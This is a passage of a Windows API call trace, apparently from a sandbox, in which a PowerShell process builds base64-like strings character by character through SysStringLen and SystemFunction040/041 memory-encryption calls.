Memory=0x5c640ac) returned 0x0 [0214.934] SysStringLen (param_1="XsLwql6S2emEVx6is㗭筥㮪噌퍊䀁㈺") returned 0x18 [0214.934] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.934] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ijヿ硏췇硺޽培∯) returned 0x18 [0214.934] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ijヿ硏췇硺޽培∯) returned 0x18 [0214.934] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.935] SysStringLen (param_1="XsLwql6S2emEVx6is6筥㮪噌퍊䀁㈺") returned 0x18 [0214.935] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.935] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ijࡐ\燙ꪡ玬") returned 0x18 [0214.935] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ijࡐ\燙ꪡ玬") returned 0x18 [0214.935] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0214.935] SysStringLen (param_1="XsLwql6S2emEVx6is6H㮪噌퍊䀁㈺") returned 0x18 [0214.935] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.020] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij臿⇿߈予伥瘒삊窹⊓) returned 0x18 [0215.020] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij臿⇿߈予伥瘒삊窹⊓) returned 0x18 [0215.020] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.020] SysStringLen (param_1="XsLwql6S2emEVx6is6Hw噌퍊䀁㈺") returned 0x18 [0215.020] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.021] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij\駞莍၂节㥁窄艗⸼") returned 0x18 [0215.021] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij\駞莍၂节㥁窄艗⸼") returned 0x18 [0215.021] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.021] SysStringLen (param_1="XsLwql6S2emEVx6is6HwU퍊䀁㈺") returned 0x18 [0215.021] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.021] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij⿿肷牥죳⋮) returned 0x18 [0215.021] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij⿿肷牥죳⋮) returned 0x18 [0215.021] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.021] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUu䀁㈺") returned 0x18 [0215.021] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.021] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij꛿ᱺ捷鹱ᙒ遅፱∲) returned 0x18 [0215.021] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij꛿ᱺ捷鹱ᙒ遅፱∲) returned 0x18 [0215.021] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.022] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUun㈺") returned 0x18 [0215.022] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.022] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij䷿ᰉഓ꼹᱁폡丕∂) returned 0x18 [0215.022] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij䷿ᰉഓ꼹᱁폡丕∂) returned 0x18 [0215.022] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.022] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunE") returned 0x18 [0215.022] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.022] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴⋺) returned 0x18 [0215.022] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴⋺) returned 0x18 [0215.022] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴⋺) returned 0x18 [0215.023] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴⋺) returned 0x20 [0215.023] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.023] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX忦﫸훨㬯盕윗㝯") returned 0x20 [0215.023] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.023] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴\惝⾨쀉㤄ﬢ끢") returned 0x20 [0215.023] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴\惝⾨쀉㤄ﬢ끢") returned 0x20 [0215.023] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.024] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0﫸훨㬯盕윗㝯") returned 0x20 [0215.024] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.024] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴䫺ںร潎\潺矖剃") returned 0x20 [0215.024] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴䫺ںร潎\潺矖剃") returned 0x20 [0215.024] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.024] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0q훨㬯盕윗㝯") returned 0x20 [0215.024] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.024] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴䳺뿑钿푂ᶝ淚ၲ濜∧) returned 0x20 [0215.024] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴䳺뿑钿푂ᶝ淚ၲ濜∧) returned 0x20 [0215.024] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.024] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw㬯盕윗㝯") returned 0x20 [0215.024] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.025] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴緺ᙰ慞⥦炱郿狏⋘) returned 0x20 [0215.025] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴緺ᙰ慞⥦炱郿狏⋘) returned 0x20 [0215.025] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.025] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw9盕윗㝯") returned 0x20 [0215.025] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.025] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴◺ᑃ氌ኝ㲏㢂∓) returned 0x20 [0215.025] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴◺ᑃ氌ኝ㲏㢂∓) returned 0x20 [0215.025] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.025] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91윗㝯") returned 0x20 [0215.025] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.025] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴뺳ソ艴㛫緊↍⋂) returned 0x20 [0215.026] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴뺳ソ艴㛫緊↍⋂) returned 0x20 [0215.026] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.026] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91u㝯") returned 0x20 [0215.026] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.026] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴俺幂轎븑ᕍ砘⊨) returned 0x20 [0215.026] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴俺幂轎븑ᕍ砘⊨) returned 0x20 [0215.026] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.026] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91ux") returned 0x20 [0215.026] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.026] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩") returned 0x20 [0215.027] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩") returned 0x20 [0215.027] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩") returned 0x20 [0215.027] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩") returned 0x28 [0215.027] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.027] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxP쬗￁缂氳⬚㳃") returned 0x28 [0215.027] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.027] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ꎾ褝羏䐝簵ꆆ垴ெ") returned 0x28 [0215.027] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ꎾ褝羏䐝簵ꆆ垴ெ") returned 0x28 [0215.027] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.027] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPl￁缂氳⬚㳃") returned 0x28 [0215.028] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.028] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᶅ玶搫巼딋醭ꎦ萢") returned 0x28 [0215.028] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᶅ玶搫巼딋醭ꎦ萢") returned 0x28 [0215.028] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.028] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPlt缂氳⬚㳃") returned 0x28 [0215.028] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.028] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩賝⠝믦埕ꋅ䇕흶⁁") returned 0x28 [0215.028] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩賝⠝믦埕ꋅ䇕흶⁁") returned 0x28 [0215.028] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.028] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPltn氳⬚㳃") returned 0x28 [0215.028] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.028] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩䤤౏ꄬꗶ⧿葿횭闙") returned 0x28 [0215.028] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩䤤౏ꄬꗶ⧿葿횭闙") returned 0x28 [0215.029] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.029] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPltnl⬚㳃") returned 0x28 [0215.029] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.029] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩禍㔚㮯榫痤Й쁞") returned 0x28 [0215.029] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩禍㔚㮯榫痤Й쁞") returned 0x28 [0215.029] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.029] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPltnlp⬚㳃") returned 0x28 [0215.029] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.029] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩㷏찱顂䧹힚䳱䠥构") returned 0x28 [0215.029] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩㷏찱顂䧹힚䳱䠥构") returned 0x28 [0215.029] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.030] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPltnlph㳃") returned 0x28 [0215.030] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.030] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩帐✝ꛏ⾯쵱篵㣷媭") returned 0x28 [0215.030] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩帐✝ꛏ⾯쵱篵㣷媭") returned 0x28 [0215.030] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.030] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPltnlphK") returned 0x28 [0215.030] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.030] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢∶) returned 0x28 [0215.030] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢∶) returned 0x28 [0215.030] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢∶) returned 0x28 [0215.031] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢∶) returned 0x30 [0215.031] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0215.031] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPltnlphKS獊鐒龟呥ᆅﭭ") returned 0x30 [0215.031] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0215.032] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢炧\௜윿䎀ඥ閉") returned 0x30 [0215.032] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢炧\௜윿䎀ඥ閉") returned 0x30 [0215.032] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0215.032] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPltnlphKSc鐒龟呥ᆅﭭ") returned 0x30 [0215.032] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0215.032] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢帶ᩖ憡摜⠟㰀薌∝) returned 0x30 [0215.032] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢帶ᩖ憡摜⠟㰀薌∝) returned 0x30 [0215.032] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0215.032] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPltnlphKSck龟呥ᆅﭭ") returned 0x30 [0215.032] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0215.032] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢ึΎ貎⟒勊씴䷚ﮁ≦) returned 0x30 [0215.032] SysStringLen (param_1="㮏톝팫⾶鸤燎䷼矐൸ఌ腤\㗝牥ij쟿獞酧⚍쁬ꪰ擀咴苟ꣳ첈\峖塩ᢩ䯟║\ᯟ噢ึΎ貎⟒勊씴䷚ﮁ≦) returned 0x30 [0215.032] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0215.033] SysStringLen (param_1="XsLwql6S2emEVx6is6HwUunEX0qw91uxPltnlphKSck=呥ᆅﭭ") returned 0x30 [0215.033] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0215.033] EtwEventActivityIdControl () returned 0x0 [0215.033] EtwEventActivityIdControl () returned 0x0 [0215.033] EtwEventActivityIdControl () returned 0x0 [0215.034] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.034] EtwEventActivityIdControl () returned 0x0 [0215.034] EtwEventActivityIdControl () returned 0x0 [0215.034] EtwEventActivityIdControl () returned 0x0 [0215.035] SysStringLen (param_1="") returned 0x8 [0215.035] SysStringLen (param_1="N") returned 0x8 [0215.035] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.035] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0215.035] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0215.035] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.035] SysStringLen (param_1="ND") returned 0x8 [0215.035] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.035] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0215.035] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0215.035] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.036] SysStringLen (param_1="NDZ") returned 0x8 [0215.036] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.036] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0215.036] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0215.036] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.036] SysStringLen (param_1="NDZl") returned 0x8 [0215.036] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.036] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0215.036] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0215.036] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.036] SysStringLen (param_1="NDZlO") returned 0x8 [0215.036] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.037] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0215.037] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0215.037] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.037] SysStringLen (param_1="NDZlOD") returned 0x8 [0215.037] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.037] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0215.037] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0215.037] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.037] SysStringLen (param_1="NDZlODR") returned 0x8 [0215.037] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.037] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0215.037] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0215.037] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.037] SysStringLen (param_1="NDZlODRm") returned 0x8 [0215.038] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.038] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0215.038] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0215.038] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0215.038] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0215.038] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.038] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0215.038] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.039] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0215.039] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0215.039] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.039] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0215.039] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.039] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0215.039] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0215.039] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.039] SysStringLen 